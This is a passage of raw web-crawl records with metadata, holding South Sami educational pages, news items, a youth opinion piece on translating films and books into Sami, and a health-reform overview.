tjaalah mij bagkesimmiem tjïelkeste (daesnie: Ij naan kreekevaarjelimmie-laake gååvnesh mij maahta luhpehts åtnoem heerredidh).\n- Datne gåalmedem argumentem tjaalah mij bagkesimmiem tjïelkeste (daesnie: Jeenjesh kreeke-pryövenassh voebnesjieh dan åvteste dïhte lea buaratjommesasse almetjidie.\n- Datne konklusjovnem tjaalah gusnie gaajhkh golme argumenth meatan vaaltah mejtie datne buakteme.\nDaam bïhkedassem maahtah nuhtjedh aktene åenehks argumentereles teekstesne. Gosse aktem guhkies teekstem tjaalah jïh vïjhteboelhke-teekstem våaroeminie åtnah, doh vïjhte boelhkh åejvie-kapihtelinie sjidtieh teekstesne.\nGosse orre argumenth jallh rïektesvoeth tjaalah mah argumentide tjïelkestieh mejtie datne nuhtjh, sæjhta daerpies sjïdtedh nueliebijjie-baakoejgujmie fïerhtene åejvie-boelhkesne jallh åejvie-kapihtelisnie. Geehth nueliebijjie-baakoeh sisvegem boelhkesne feerhmieh. Bijjie-baakoeh edtjieh goh «væjsaldahkh» årrodh teekstesne. Dah edtjieh dovne lohkijen ïedtjem feengkedh jïh viehkine årrodh geajnoem gaavnedh teeksten tjïrrh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:2bd24a78-b09c-4249-b9a2-a98e6364bfd9\/resource:59e13a75-5859-45b7-8f8f-c937be287717","date":"2024-04-23T17:35:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818732.46\/warc\/CC-MAIN-20240423162023-20240423192023-00535.warc.gz","language":"sma","language_score":0.9999996424,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999996423721313}","num_words":362,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Vaadtasovvemejaepie 2007 Faage Learohkeraeriebarkoe KRJL Saemien 1 Siebriedahkefaage Saemien musihke jïh scena Daltese SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN Vi385 Tïjje 00:45:00 Formaate DVD Reakta-aajhtere NRK Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Kultuvre Filme Aarhte jïh daajroe Healsoe Religiovne Etihke Siebriedahke Skuvle jïh ööhpehtimmie Viehkiebaakoe Mobbing","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/filbma_slin-craze","date":"2024-04-19T21:08:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817455.17\/warc\/CC-MAIN-20240419203449-20240419233449-00699.warc.gz","language":"sma","language_score":0.9995032549,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9995032548904419}","num_words":50,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goltelidh\nVihkeles eensilaakan goltelibie maam mubpieh almetjh jiehtieh. Datne tjoerh eejnegen vuarjasjidh maam mubpieh jiehtieh, jïh dovne guktie dam jiehtieh. Magkerh baakoeh nuhtjieh? Edtjh datne vaestiedidh, dejgujmie digkiedidh, jallh ajve vuarjasjidh maam jiehtieh? Jallh kaanne vaajestieh? Mejtie gaajhkem guarkah, kaanne ammes jallh geerve baakoeh nuhtjieh juktie ollh guarkah? Faahketji tjoerh njaalmeldh mubpiejgujmie laavenjostedh jïh dov åssjalommesh dejtie buektedh. Guktie dellie gïelem nuhtjh?\nSoptsestidh\nMijjieh njaalmeldh gïelem ovmessie tsiehkine nuhtjebe. Gåessie edtjebe voelpigujmie jallh fuelhkine joekehtslaakan soptsestidh, tjåanghkosne jallh Saemiedigkesne håalodh, maam joem åehpiedehtedh j.n.v. Faahketji tjoerebe mubpiejgujmie njaalmeldh laavenjostedh jïh dellie vihkeles sinsitniem guarkadidh. Sïjhtebe daajroem, åssjaldahkh jïh åssjalommesh tjïelkelaakan mubpide buektedh jïh dellie tjoerebe jeereldihkie baakoejgujmie ovmessie tsiehkine nuhtjedh. Byjjes digkiedimmie sjïere hammosne. Baakoe-stuvrije digkiedimmiem stuvrie jïh jeahta gïen våaroe soptsestidh jïh gåessie åådtje soptsestidh. Jis baakoem sïjhth, tjoerh gïetem lutnjedh jïh dellie baakoe-stuvrije dov nommem læstose tjaala. Jis sïjhth maam akt tjïelkesidh, dellie göökte soermh lutnjh. Dellie vuesehth replihkem sïjhth jïh dellie åadtjoeh dam åenehkslaakan tjïelkesidh jallh lahtestidh.\nDigkiedidh\nJis edtjh digkiedidh dellie naan raerieh: Datne byörh åenehks- jïh tjïelkelaakan soptsestidh. Byörh ryöjredidh guktie dov vuajnoeh leah daajroen\/faktan våaroemisnie. Edtjh eensi jïh tjïelkelaakan digkiedidh. Datne tjoerh buerkiestidh man gaavhtan datne naemhtie ussjedh.\nGolme gyhtjelassh vihkeles: Maam edtjh soptsestidh? Guktie sïjhth dam jiehtedh? Jïh man gaavhtan dov vuajnoeh vihkeles?\n- Maam sïjhth soptsestidh, daajroen våaroemisnie.\n- Man gaavhtan\/mannasinie datne naemhtie ussjedh, dïhte dov vierhtiej våaroemisnie.\n- Guktie sïjhth dam jiehtedh? Dïhte håalome-teknihken våaroemisnie.\nGaskesadteme-tsiehkieh\nAkte gaskesadteme-tsiehkie gosse bïevnese-straejmie ajve akten otnjegasse jåhta jïh ij dåastoje maehtieh vaestiedidh. Dagkerh vuekieh leah: byjjes teeksth, lohkeme-prievieh jallh artihkelh.\nMubpie gaskesadteme-tsiehkie gåessie maehtebe sinsitniem vaestiedidh, sinsitnine digkiedidh jallh gihtjedidh. Dagkarinie tsiehkine maehtebe mubpien almetjen reaksjovni mietie goerehtidh, bïhkedidh jïh soptsestidh.\nGåalmeden gaskesadteme-tsiehkie gosse seedtije gellie lohkijidie, goltelæjjide jallh vuartasjæjjide soptseste jallh tjaala. Dagkerh medijumh leah: gærjah, plaerieh, radijove jallh TV:e, dellie dam gåhtjobe veljies-gaskesadteminie.\nSaemien\nDaaroen\nbïevnese-straejmie\nnyhetsstrøm\nveljies-gaskesadteme\nmassekommunikasjon","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:074f9b3d-1abb-4778-a88d-7d862d21726c\/topic:2:3a4016d8-76ec-4bbb-b890-eb74e42f30c8\/resource:6e8c7587-4b72-42f0-b468-1e2a3b48a1ec","date":"2024-04-20T19:05:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817674.12\/warc\/CC-MAIN-20240420184033-20240420214033-00559.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":304,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2015\nGiele\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nRaadijoveprogrammeraajroe. 15 åesieh.\nAereden varki maanah fahkoeh jïh vueptiestieh bïenje Tjågkoe haajpanamme. Eah stoerealmetjh gih daejrieh gåabph sjïdteme. Aahkemes dle goh såårne satne jaahka gie akt daajra gusnie bïenje. Dellie numhtie jis soptsese jåhta dej maanaj jïh bïenje Tjågkoen bïjre.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_tjagkoe-cugu","date":"2024-04-21T11:04:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817765.59\/warc\/CC-MAIN-20240421101951-20240421131951-00155.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":50,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieTjoele goh heaptoe mïrrestallemasse\nNyjsenæjjaj vööste, tjoeleidentiteete jïh eerlegevoete seksuellevoeten bïjre saemien siebriedahkine leah naakede destie maam edtja digkiedidh gosse saemiedigkieraerie sov reektestimmiem buakta tjoelemïrrestallemen bïjre stoerretjåanghkose mubpien...\n-\nSaernieSámedikki dievasčoahkkima\nSámediggi doallá lávdegodde- ja dievasčoahkkimiidda njukčamánu 2. b. – 6. b. 2015. Lávdegoddečoahkkimat álget vuossárgga njukčamánu 2. b. dii 09.00. Dievasčoahkkin álgá gaskavahkku njukčamánu 4. b. dii. 09.00.\n-\nSaernieSaemien kultuvremojhtesh, mijjen aerpie båetijen aajkan\nSaemiedigkieraerie kultuvremojhtesekonferansese böörede Guovdageaidnusne njoktjen 11. -12. b. barkoen sjïekenisnie aktede orre saemiedigkiebïevnesistie saemien kultuvremojhtesevaarjelimmien bïjre.\n-\nSaernieElfaamoejearsoesvoetem Noerhte-Nöörjesne gorrede\nSaemiedigkieraerie lea rååresjimmiej tjïrrh Ålja- jïh energijedepartemeentine veeljeme ij bigkemem dööresmehtedh aktede orre 420 kV elfaamoeledningeste Balsfjorden luvhtie Skaidin gåajkoe, dejnie veanhtadimmine departemeente daelie lea veeljeme da...\n-\nSaernieLæhkoeh biejjine!\nMijjieh saemien åålmegebiejjine læhkoehtibie goevten 6.b.!\nLohkh jienebb: Åålmegebiejjie jïh nasjovnaale symbovlh\n-\nSaernieSaemien tjaelijelearoe tseegkesåvva\nSaemien lohkijh jienebh gærjah saemiengïelesne sijhtieh mejstie noerh eadtjalduvvieh. Dan åvteste Saemiedigkie, Saemien tjaelijesiebreste (SGS), jïh Saemien tjiehpiedæjjaraerie (SDR) aktem tjaelijelearoem nierhkieh mij edtja noere tjaelijh då...\nSeminaare jïh konferaanse\nMøte\nAejkiemierieMïnnh biejjielåhkose\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2015-11","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-02-27T13:03:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-11\/segments\/1424936461266.22\/warc\/CC-MAIN-20150226074101-00059-ip-10-28-5-156.ec2.internal.warc.gz","language":"sma","language_score":0.9998242259,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998242259025574}","num_words":188,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rovhtegen bïjre\nGeelleben guelmesne lea, jallh sagke vïerrebe. Gellien aejkien ajve aktem tjelmiem åtna. Jalhts dïhte faagkan jïjnje, Nimhtie maahta dam olkese vaeltedh jïh oksen-såalkan nualan bïejedh jallh voessetjen sïjse rijtedh jïh beelhtesne utnedh gævnjan. Plïjhtjestahkem ruevteste åtna mejnie vïrrem njamma dej almetjijstie mejtie ij lyjhkh. Gosse plïjhtjestahkem daarpesje maahta dïsse ajve tjåarvodh jïh dallatjinie båata haelehten.\nRovhtege lea låvnohke jïh ij dïsse maehtieh jaehkedh, ij annje njårkoeh, guktie ij naan aejkien maehtieh daejredh gusnie Rovhtege lea jis ij leah tjelmiejgujmie dåeredeminie.\nMearan staaloem dåaroemisnie jallh nulliehtimmesne buvvin, die dålle dïhte Rovhtegem jamhkele.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/128495?fag=126960","date":"2017-03-28T04:51:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189667.42\/warc\/CC-MAIN-20170322212949-00194-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999755621,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999755620956421}","num_words":93,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie jih Gïelejarnge, Sveerjen bielesne, daam baakoe- gærja appem dorjeme, maam maahta teelefovnesne Iphonesne jih Ipadesne nuhtjedh. Daan bijre bievnedin, daan Saemien gïelejarngen jih gïelegaaltijen, åarjelsaemien gïele konferansesne mij lea Staaresne daelie.\nAnders Östergren, Dearneste, Gïelejarnge, daejnie barkeme jih åarjelsaemien baakoegærja appem buektiehtidh.\nIphonesne jih Ipadesne.\n– Jis åtna, dagkeres teelefovnem Iphone jallts Ipadem, dellie maahta Saemiedigkien bakoegærja appem åarjel jih juvlev saemien gïelesne nuhtjedh. Mijjieh daelie barkebe jih daam appem orrestidh, jih orre baakoe lissiehtidh. Barkoeminie edtja gaajhkh andaroid teelefovnide sjiehtedh.\nGie maahta daam appem veedtjedh?\n– Daam appem maahta magkeres mij, laantesne veedtjedh. Ij maam daarpesjh maeksedh jih maahta nuhtjedh gåessie sijth. Jis daam appem teelefovnesne veedtjeme dellie maahta læjhkan nuhtjedh jis ij naan gaskeviermie, jeahta Östergren.\nÅarjelsaemien gïele konferansen aamhtese, daan jaepien lea ,dihte jarkoestimmie barkoe. Sylvia Sparrok, åarjelsaemien gïele -konsuvlente, gïelejarngesne. Dihte tuhtjie daate joekoen vihkeles aamhtese.\n– Daate vihkeles! Sijhtebe govledh jih raarastalledh daan jarkoestimmie barkoen bijre. Mij daerpies, jih mejtie mijjieh maehtebe viehkiehtidh, juktie jarkoestimmie barkoe aelhkebe sjædta. Daarpesjibie jijnjh jarkoestæjjah. Jis viehkie vierhtie gååvnesidh, dellie kanne jienebh aelkieh jarkoestimmie barkone. jeahta Sparrok.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/baakoegaerja-appe-1.11744403","date":"2017-08-21T22:18:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886109670.98\/warc\/CC-MAIN-20170821211752-20170821231752-00023.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":176,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nieljie jaepieh mænngan dihte asvoeh biejjie dennie onne såålesne Utøya, edtja daelie AUF-noereh åårganisasjovne orre giesie tjåanghkoem båetijen hieljese øørnedh. Joekoen jijnjh noereh sijhtieh daam tjåanghkoem dåeriedidh. 1000 almetjh edtjieh vihth Utøyesne gaavnedidh.\n– Daam tjåanghkoem edtjebe mojhtesasse bïejedh. Daan tjåanghkoen bijre sån histovrije gærjine tjaelieh, AUF-åvtehke Mani Hussaini NTBese jeahta.\nEah leah aerebi daan jijnjh noereh Utøyesne tjåankanamme. Daate giesie tjåanghkoe aalka duarstan aejlegen raajan.\nVihkeles tryjjes jih murriedibie\n– Iktesth daam sijjiem måjhtajibe daan bovvehjimmen mænnan,jaepien 2011. Tjoeveribie vihth såålem nuhtjedh guktie åadtjebe orre tjoevkes mojhtesh, Hussaini jeahta.\nEah dah noereh åadtjoeh billedh. Tjuerieh tråjjadidh.\n– Mov haesteme lea tjuerieh lustestalledh jih murriedidh. Utøyesne åadtjoeh føørhkedidh jih aaj gïknjelidh Husseini jeahta NTBese.\nDaan jaepien edtjieh gaskenaasjovne solidariteten bijre soptsestidh. Diekie daan tjåanghkose gussieh båetieh goh AP-åvtehke Jonas Gahr Støre, NATO-åejvie jih aerebi staateministere Jens Stoltenberg jih Barkoebielien krirrien «båeries aahka» Gro Harlem Brunndtland jih jeatjah vihkeles AP almetjh.\nLientsie edtja ensi-laakan daam såålem jih tjåanghkoem geehtedh.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/jijnjh-noereh-vihth-utoyesne-gaavnesjieh-1.12486803","date":"2017-08-18T07:50:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104612.83\/warc\/CC-MAIN-20170818063421-20170818083421-00319.warc.gz","language":"sma","language_score":0.9999563694,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999563694000244}","num_words":153,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KRONIHKE\nSaemiedigkien noerepolitihkeles moenehtse jïh saemien noeresiebrie Noereh! leah ektesne vaajtelimmien bïjre vielie saemien filmi jïh lidteratuvri bïjre. Mijjieh sïjhtebe lyjhkedihks filmh jïh seerijh dubbadidh saemien gïelese, jïh joekoen maanide, jïh mijjieh sïjhtebe gærjah jïh guvvieraajroeh mejtie jeenjesh åestieh, saemiengielese jarkoestidh. Mijjieh sïjhtebe aktem orre domenem sjïehtesjidh goh åtnoesuerkie saemien gïelide. Noerh gïelem daarpesjieh dejnie sijjine dah raaktan nuhtjieh.\nAamhtese lea vaarjelimmien bïjre mijjen gïeleste, jïh mijjen vaenie almetjh vaarjelidh mah saemiestieh. Mijjieh goh saemiengïelen noerh tuhtjieh gïele ahkedh vielie norvagiseradamme sjædta. Saemien meedijah leah voerkelamme saemien noerh veeljieh nöörjen lohkedh jïh tjaeledh sijjeste saemiengielesne. Akte ïlveligs evtiedimmie gosse noerh mah sinsitnine saemiestieh, bielelen ussjedidh, nöörjengïelem tjaelemegïeline veeljieh, akte evtiedimmie maam ibie vaajtelh jïh maam tjoerebe jarkedh.\nGaajhkh gïelh leah jarkeleminie, men ij badth sïjhth jiehtedh mijjieh edtjebe luhpiedidh gïele smualkoe. Ibie sïjhth tjahkasjidh vuartasjidh mijjieh ahkedh jienebem dassebe mijjen gïelen sjïerevoeteste. Gïele tjarke behtjiedimmien nuelesne, mahta sjïere jïh veele soptsestimmievuekieh varke dassedh, goh possessijve suffikse mah daan beajjetje gïeleguedtiejijstie sveekebe åtnasuvvieh. Goh akte vuesiehtimmie. Jeenjesh eah vielie onterdh dej dïejvesi bïjre goh \"gaavnedh olkese\" finne ut, jïh tjihkedh (datnem) våålese. Aktine gamte låhkojne saemiengïelen lidteratuvreste lij maahteme norvagiseradimmien vööste noeri luvnie gæmhpodh. Mijjieh gïelenænnoes jarkoestæjjah daarpesjibie mah maehtieh heajjoedimmiem gïeleste heerredidh.\nJïjnjh noerh eah saemiengielesne tjaelieh, vuesiehtimmien gaavhtan sosijaale meedijinie. Chat jïh SMS leah nöörjen gïelesne. Akte fåantoe lea orreme saemien bokstaavh eah leah gååvnesamme, jallh dah eah leah asteme dam öörnedh. Mijjieh gujht vïenhtebe jïjnjh noerh eah doesth jïjtse ietniengielesne tjaeledh dan åvteste jueriedisnie saemien reaktoetjaelemen bïjre. Saemien reaktoetjaeleme lea tseegkesovveme, ij leah badth ov-iemie jallh geerve, men akte sveekes guvvie noeride. Mijjieh doestebe tjïertestidh dan åvteste mijjieh ibie vaane jïjnjem saemiengielesne tjaeledh, dellie jueriedisnie sjïdtebe mijjen gïelen reaktoetjaelemen bïjre, jïh dellie buerebh aktene gïelesne tjaelebe maam haalvebe. Mijjen mïelen mietie dle saemien noerh dejtie saemien gærjide luhkieh ajve skuvlesne. Eejehtallemen lea nöörjen.\nLissine damtebe mahte akte tabuve gosse ij maehtieh reaktoelaakan tjaeledh jïjtse gïelesne. Jis daaroen tjaala sosijaale meedijinie, ij leah naaken mah bååhperh jis naan båajhtoeh tjaaleme baakoeh båetieh muvhten aejkien. Jis iktesth ortografije jïh raajesestruktuvre edtjieh aktene jolle daltesisnie årrodh gosse saemiengielesne tjaala, sæjhta varke bååstede båetedh dan tïjjese gosse saemien tjaelemegïele ajve lij naan gille maehtehtji gïele. Mijjieh annje aktene alfabetiseradimmieprosessesne mij ulmine åtna gaajhkh almetjh edtjieh tjaelemegïelem dan gåhkese haalvedh guktie dah jearsoeslaakan maehtieh dam aarkebiejjien nuhtjedh. Dan åvteste tjoerebe joekoen mujhtedh, åvtelen mubpiej længhkoeh tjaelemegïelem lahtestibie, iktesth tjuara geehtedh olles gïelem giehpedh mïsse akt maam ajve maahta prïhtjhkåahpine ektine nuhtjedh.\nHævvi lea vihkeles mijjen leah saemien tjaelijh jïh jïjtse saemien lidteratuvre. Saemien lidteratuvre lea akte kultuvreskaehtie. Ij tjoerh læjhkan naemhtie sjïdtedh saemien noerh eah åadtjoeh jeatjah lidteratuvrem lohkedh. Saemien lidteratuvreste vaenie, jïh dan åvteste sjangeren gamtoe gyödtsehke sjædta. Ibie sïjhth iktesth smaave romaanh saemiej bïjre voenesne lohkedh, men åadtjodh gærjaj gaskem veeljedh goh Harry Potter, Fifty Shades of Grey, Hobbiten jïh Twilight, jis edtjebe naan vuesiehtimmieh vedtedh.\nSaemien jarkoestimmie lidteratuvreste jïh filmeste sæjhta gaagnine årrodh gaajhkesidie. Ij ajve sïjhth gïelen aarvoem lutnjedh, buerebe daajroem vedtedh mijjen tjaelemegïelen bïjre, baakoeveahkam vijriedidh jïh nov gujht aaj norvagiseradimmiem gïeleste ånnetji nåhkedidh. Sæjhta aaj nåhtojne årrodh gaajhkesidie mah sijhtieh gïelem lïeredh, juktie naemhtie gïelem radtjoeslaakan jïh lusteslaakan leara.\nMijjieh joekoen madtjeles gaajhkine mij edtja saemien våajnoes darjodh, men tjoerebe geehtedh olles \"daanbeajjetje saemien baakoeh\" jïh plearoeh mijjen aajnehke gaaltije sjïdth mijjen gielese. Jïjnje fokuse saemienlïerehtæmman dejtie saemide mah leah gïelem dasseme. Daamtaj maahta vååjnedh goh noerh mah saemiestieh tjuerieh jïjtje bearkadidh mænngan eksamenem åådtjeme aktede saemien ööhpehtimmeste. Mijjieh vïenhtebe vihkeles skreejrehtidh dejtie mah joe soptsestieh, lissine dejtie mubpide lutnjedh.\nMijjieh vïenhtebe vihkeles saemiengïelen filmh darjodh saemien maanide. Joekoen saemien jarngedajvi ålkoli lea daamtaj vaenie almetjh mejgujmie saemiengïelen maanah maehtieh soptsestidh, jïh dellie maahta aelhkie sjædtedh gïelem dassedh. Filme- jïh tjoejegærja saemiengielesne vïenhtebe lea åajvoeh learoevierhtie. Hijven maehtedh tjahkasjidh filmh vuartasjidh mejtie doh mubpieh maanah aaj vuartasjieh. Seamma tïjjen dellie doh filmh dennie gielesne maam bööremes maehtieh. Aarebi libie dejtie suksesside åtneme goh Vulle Vuojáš jih Mumi noerhtesaemien gïelesne, mejtie maehtebe jïjtje jiehtedh leah vihkeles biehkieh orreme mijjen maanabaelien. Saemien låhkoe Mumiste lij byöreme nedtesne årrodh.\nMijjese aaj vihkeles gïelen aarvoem lutnjedh. Tjuara guhkiebasse vuejnedh gosse lea dej sijjiej bïjre gusnie maahta saemien gïelem nuhtjedh. Gosse filmh millijovnebudsjedtine dorjesuvvieh, men ij beetnegh utnieh saemiengielese dubbadidh, dellie tjahkan sjædta onterdidh man åvteste mijjen gïele ij leah nuekies hijven. Digkiedimmie filmedubbadimmien jïh gærjajarkoestimmien bïjre ij leah orre saemien siebriedahkine. Jienebh leah dam åssjalommesem bæjjese vaalteme. Man åvteste ij gåessie gænnah dorjesovvh?\nMijjieh amma guarkeme jis edtja maam akt saemiengïelese jarkoestidh, dellie akte saemie lij byöreme dam dorjeme, jallh aamhtesetjaatsegh årrodh. Jaavoe, akte prinsihpe-aamhtese aamhtesepaehperh edtjieh saemiengielesne årrodh aaj, jïh lea eevre daerpies politihkerh dam gïeleviehkiem åadtjoeh mij saemiengïelen aamhtesepaehperh leah, jis edtjieh buektiehtidh saemiengïelem galkije nuhtjedh håalemestovleste. Aaj dïhte politihkeles gïele lea åajaldovveme daaroedehtemebaelien. Jalhts daerpies guektiengïelen aamhtesepaehperigujmie, ij dïhte tjoerh beetnehveahkam giehpiedidh jarkoestæmman lidteratuvrese mij leah sjyöhtehke akten stuerebe ulmiedåahkan.\nSïejhme almetjh, v.g. noerh mah sijjen gïelem daarpesjieh, eah gåetesne tjahkesjh aamhtesepaehperh lohkeminie. Dah gåetesne tjahkesjeminie lohkeminie Game of Thrones. Åvtelhbodti nöörjengïelesne.\nMijjieh sïjhtebe saemien edtja akte jielije gïele årrodh gaajhki dej sjïerevoetigujmie, gellievoetine jïh jeerehtsigujmie baakoeveahkesne, jïh veele evtiedamme grammatihkine. Biejjieladtje gïele, ij ajve noeri luvnie, men jienebi jienebi luvnie, vielie tsevtseme sjædta nöörjen gïeleste. Jeenjesh eah gænnah ussjedh man jïjnje norvagiseradamme gïele lea. Jïjnjh saemiengïelen buerebh nöörjen goh saemien nuhtjieh, maaje dåajmijesvoeten gaavhtan dejtie mah stïeresne, jïh mah eah soptsesth jallh saemien guarkah. Daate aaj akte vaarege evtiedimmie, juktie almetjen aarhte lea ojhte naemhtie, ij vissjh maam akt lïeredh maam ij daarpesjh.\nGie edtja gïelem nuhtjedh jïh lutnjedh jis ibie dam jïjtje darjoeh? Daan beajjetje saemiengïelen noerh dah, mah edtjieh dam saemien gïelem hammoedidh båetijen aejkien, jïh nov lea daelie mijjieh maehtebe hammoedamme sjïdtedh. Ij leah naan måane råajvarimmiejgujmie murriedimmien gaavhtan juktie gïelem vihth lutnjedh; daesnie barkoefaamoe jïh voerkesvoete daerpies.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/noerehdiggi.wordpress.com\/page\/2\/","date":"2017-08-18T12:22:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104636.62\/warc\/CC-MAIN-20170818121545-20170818141545-00511.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":954,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ektiedahkoereforme\nEktiedahkoereformem ånnetji ånnetji sjïehtesjeminie tsiengelen 1.b. 2012 raejeste, jïh dellie dïedtem serteste skïemtjegåetijste tjïeltide, mah jienebh laavenjassh jïh vierhtieh åadtjoeh juktie healsoe- jïh hoksedïenesjidie tjïrrehtidh\nBuerebe ektiedahkoe dan bööretjommese årroejidie\nReformen ulmie lea vielie heerredidh, aarebi båehtjierdidh jïh buerebe ektiedahkoem utnedh. Skïemtjijh jïh utnijh edtjieh varke jïh hijven viehkiem åadtjodh gosse dam daarpesjieh, dan lïhke årromesijjien goh gåarede. Dah edtjieh reaktoe båehtjierdimmiem, reaktoe tïjjen jïh reaktoe sijjesne åadtjodh, akten ållesth jïh iktedamme healsoe- jïh hoksedïenesjefaalenassen tjïrrh. Edtja ållesth jïh iktedamme dïenesjh gorredidh gaskem jeatjah maahtoebïgkemen jïh laavenjostoelatjkoej tjïrrh jïh latjkeme båehtjierdimmiesoejkesjen tjïrrh skïemtjegåetiejgujmie. Dïenesjh edtjieh hijven kvaliteetem utnedh, gaajh jearsoes årrodh skïemtjijidie, åenehks vuertemetïjjem utnedh jïh fïereguhten skïemtjijasse sjïehtedamme årrodh.\nOrre laakh våaromem biejieh\nEktiedahkoereforme lea gårreldamme göökte laakine: almetjehealsoelaake jïh healsoe- jïh hokselaake. Gåabpegh laakh leavloem biejieh healsoesjugneden jïh heerreden barkose. Healsoesuerkie edtja eadtjohkelaakan meatan årrodh almetjehealsoebarkosne, jïh heerreden råajvarimmieh healsoedïenesjinie faalehtidh, jïh meatan årrodh dennie gamte almetjehealsoebarkosne mij lea siebriedahken vööste.\nFylhkenålman laavenjassh\nFylhkenålma edtja vijriesåbpoe barkedh ektiedahkoereformine, jïh viehkiehtidh guktie skïemtjijejearsoesvoete, skïemtjijereaktah, eensivoete dïenesjinie jïh jearsoes skïemtjijesoejkesjh gorresuvvieh. Fylhkenålma edtja aaj viehkiehtidh iktedidh jïh dåarjedidh nasjovnaale, regijovnaale jïh voenges aktööri barkoem gosse reformem sjïehtesjeminie, viermiebïgkemen jïh dåårjehtimmiejuekemen tjïrrh.\nFylhkenålma edtja aaj raeriestidh jïh bïhkedidh regijovnaale jïh tjïelten aktöörh. Fylhkenålma maahta aaj vaaksjodh healsoesïelth, fylhkentjïelth jïh tjïelth sijjen dïedth 